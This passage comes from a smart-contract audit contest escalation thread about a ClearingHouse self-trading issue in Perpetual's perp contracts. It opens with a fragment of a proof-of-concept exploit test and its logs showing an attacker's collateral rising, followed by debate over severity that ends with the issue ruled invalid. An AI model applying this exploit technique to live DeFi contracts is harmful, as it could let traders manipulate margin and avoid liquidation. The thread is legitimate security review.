                maker: address(attacker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1 ether,
                oppositeAmountBound: 100 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        // clearingHouse.closePosition(

[PASS] testModifyAccountMarginRatio() (gas: 1596049)
Logs:
attacker Start Collateral Token 100000000
attacker End Collateral Token 150000000

The attacker controls the value of result.quote or result.base through makerData.
https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L325-L331

            } else {
              // quote to exactOutput(base), Q2B base+ quote-
              result.base = params.amount.toInt256();
@>                result.quote = -oppositeAmount.toInt256();
          }
      }
      _checkPriceBand(params.marketId, result.quote.abs().divWad(result.base.abs()));

[joicygiore]

Thank you for these responses!

I really don’t quite understand what you mean by 102. This is not my idea, so I don’t know how to explain this issue to you

This is just an arbitrary exmple to clarify if there's something I'm missing.

It can be liquidated before the transaction, but cannot be liquidated after the transaction. Please note the state changes of the two transaction assertions(This is just to show the comparison before and after self-trading.),

Totally understand, the thing that is not clear for me, the transaction in this piece of the test is to close the position. Hence, yes it's liquidatable before closing the position, but after you closed the position it's not, which is completely logical. What I don't see is where is the self trade? I see that the maker is the attacker address, but it only closes the position, and it's logical the closed position cannot be closed. Do I miss where you open the second trade?

Also, as I understand, you don't disagree with this assumption. I see your comment:

Simply put, as long as your margin is enough, no one can liquidate you. You just need to wait for it to return to your expected closing price

But it doesn't agree or disagree with my assumption that the attacker cannot be liquidated cause the entry price of the second trade is lower than the first one, not cause they trade with themselves.

And I've got another question to any watson who wish to answer (@joicygiore @IllIllI000) if in that case, the only reason for having better margin utilisation is opening the second trade at a lower price, then it doesn't matter if they trade with themselves? In that case the attacker shouldn't put themselves as the maker, and they can open the second trade using the same maker as for the first trade and achieve the same result. Correct?

Sir, I looked at the code again. In my memory, self-transaction must be used to pass the series of checks in the source code below to complete the parameter control of makeData. So self-dealing is a must

https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/authorization/AuthorizationUpgradeable.sol#L55-L57
https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L478-L480
https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L293

[joicygiore]

Hello, gentlemen. I relearned Neon's code. I think I found the reason for the difference in the POC code. Please see the source code of ClearingHouse::_openPosition() below. He chose another execution route and also used the self-trade control makerData parameter to increase the margin rate. @WangSecurity @IllIllI000

@>       if (params.isExactInput) {
            _checkExactInputSlippage(oppositeAmount, params.oppositeAmountBound);
@>            if (params.isBaseToQuote) {
                // exactInput(base) to quote, B2Q base- quote+
@>               result.base = -params.amount.toInt256();
@>               result.quote = oppositeAmount.toInt256();
@>           } else {
                // exactInput(quote) to base, Q2B base+ quote-
@>                result.base = oppositeAmount.toInt256();
@>                result.quote = -params.amount.toInt256();
            }
@>        } else {
            _checkExactOutputSlippage(oppositeAmount, params.oppositeAmountBound);
@>            if (params.isBaseToQuote) {
                // base to exactOutput(quote), B2Q base- quote+
@>                result.base = -oppositeAmount.toInt256();
@>                result.quote = params.amount.toInt256();
            } else {
@>                result.base = params.amount.toInt256(); // 1e18
@>                result.quote = -oppositeAmount.toInt256(); // 1e18
            }
        }

[WangSecurity]

Thank you for these responses both @joicygiore and @IllIllI000. I believe the assumption I made earlier is correct:

If there are two traders (regular user and the attacker) and both open the identical long trade (for comparison) at price 100. Both should be invalid at 50, but the attacker opens up a second long trade after that. They use themselves as a maker which allows them to bypass important checks and control the open price of the second trade. The problem here is that for second trade is lower, e.g. 95 (as in one of the POCs). Hence, they lose some margin, cause the first trade was also closed at 95. Besides that, cause the open price is lower, their utilisation rate at 50 also better than for the another user, who just held the initial position. It leads to the situation where the attacker is not liquidatable at 50, but the user is. The only reason is that the average entry price of the second trade for the attacker is lower, and the code works exactly as it should. I agree this vulnerability allows for unauthorized actions, but I don't see any impact from it. Hence, I believe low/info severity is indeed appropriate for this issue.

Planning to accept the escalation and invalidate this issue (and it's duplicates).

[joicygiore]

@WangSecurity First of all, this issue is confirmed and fixed by the sponsor. The sponsor's recommendation is medium.
I am not discussing any issues related to this project. But I hope you will change the other 9 issues that the sponsor confirmed will not be fixed to low. Of course, I think as long as you are happy, it will be fine.😃

[WangSecurity]

@joicygiore Sponsor's words, decisions, fixes doesn't effect neither validity nor severity of the issue. If you genuinely disagree with my decision, then please tell me where this assumption is wrong, otherwise, it's low/info:

If there are two traders (regular user and the attacker) and both open the identical long trade (for comparison) at price 100. Both should be invalid at 50, but the attacker opens up a second long trade after that. They use themselves as a maker which allows them to bypass important checks and control the open price of the second trade. The problem here is that for second trade is lower, e.g. 95 (as in one of the POCs). Hence, they lose some margin, cause the first trade was also closed at 95. Besides that, cause the open price is lower, their utilisation rate at 50 also better than for the another user, who just held the initial position. It leads to the situation where the attacker is not liquidatable at 50, but the user is. The only reason is that the average entry price of the second trade for the attacker is lower, and the code works exactly as it should. I agree this vulnerability allows for unauthorized actions, but I don't see any impact from it. Hence, I believe low/info severity is indeed appropriate for this issue.

[joicygiore]

@joicygiore Sponsor's words, decisions, fixes doesn't effect neither validity nor severity of the issue. If you genuinely disagree with my decision, then please tell me where this assumption is wrong, otherwise, it's low/info:

If there are two traders (regular user and the attacker) and both open the identical long trade (for comparison) at price 100. Both should be invalid at 50, but the attacker opens up a second long trade after that. They use themselves as a maker which allows them to bypass important checks and control the open price of the second trade. The problem here is that for second trade is lower, e.g. 95 (as in one of the POCs). Hence, they lose some margin, cause the first trade was also closed at 95. Besides that, cause the open price is lower, their utilisation rate at 50 also better than for the another user, who just held the initial position. It leads to the situation where the attacker is not liquidatable at 50, but the user is. The only reason is that the average entry price of the second trade for the attacker is lower, and the code works exactly as it should. I agree this vulnerability allows for unauthorized actions, but I don't see any impact from it. Hence, I believe low/info severity is indeed appropriate for this issue.

I can't understand where your second transaction came from. I can only tell you that without the first transaction, it is impossible to generate any orders from your own transaction, and you cannot modify the parameters. You can try it, okay? The most important thing is that you are happy, nothing else matters

[joicygiore]

Thank you for patiently listening to my nonsense for so many days. I'm sorry for wasting your time. I'm sorry.

[joicygiore]

If you use the OWASP Top vulnerability to remotely execute code on a server, but you don't get any useful information, then owasp is wrong and there is something wrong with its rating. It should be low, right? Even if you execute the command remotely to delete everything on the server, but the project still has a backup, the rating will still be low.

Because it doesn't cause any harm at all, right?

[joicygiore]

Let’s take another simple example to compare self-dealing. You have 1,000 ether, and you use your left hand and your right hand to roll dice to compare the sizes for a gambling game. If you play this game ten million times, you still have 1,000 ether, and there will be no change. Self-trading itself is meaningless, it is just an entrance to modify parameters.

If you have enough time, you can even play until the earth is destroyed. 1000 is still 1000.

[oxneon]

thanks @paco0x @IllIllI000 @WangSecurity @joicygiore . Just finished my vacation, please give me some time to review all the comments I missed.

[joicygiore]

thanks @paco0x @IllIllI000 @WangSecurity @joicygiore . Just finished my vacation, please give me some time to review all the comments I missed.

Finally, you have shown up

[oxneon]

Sorry, International Labor Day has been off for five days and I just returned to work today. If I have offended anyone before, I apologize first. Please allow me some time to reread the comments I missed

[Evert0x]

Result:
Invalid
Has Duplicates

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• nirohgo: accepted